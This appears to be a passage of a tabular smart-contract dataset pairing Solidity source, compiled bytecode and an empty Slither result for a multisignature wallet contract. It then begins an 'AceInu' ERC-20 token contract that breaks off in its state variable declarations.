address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xe439d6db9d81b04d6e0c0604b8121e85f3cfa66b
|
pragma solidity ^0.4.15;
contract Factory {
/*
* Events
*/
event ContractInstantiation(address sender, address instantiation);
/*
* Storage
*/
mapping(address => bool) public isInstantiation;
mapping(address => address[]) public instantiations;
/*
* Public functions
*/
/// @dev Returns number of instantiations by creator.
/// @param creator Contract creator.
/// @return Returns number of instantiations by creator.
function getInstantiationCount(address creator)
public
constant
returns (uint)
{
return instantiations[creator].length;
}
/*
* Internal functions
*/
/// @dev Registers contract in factory registry.
/// @param instantiation Address of contract instantiation.
function register(address instantiation)
internal
{
isInstantiation[instantiation] = true;
instantiations[msg.sender].push(instantiation);
ContractInstantiation(msg.sender, instantiation);
}
}
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
|
{"success": true, "error": null, "results": {}}
| 6,000 |
0x7c6e1ed8b11f1aca1c0f83f868e654d9949e3e7d
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AceInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
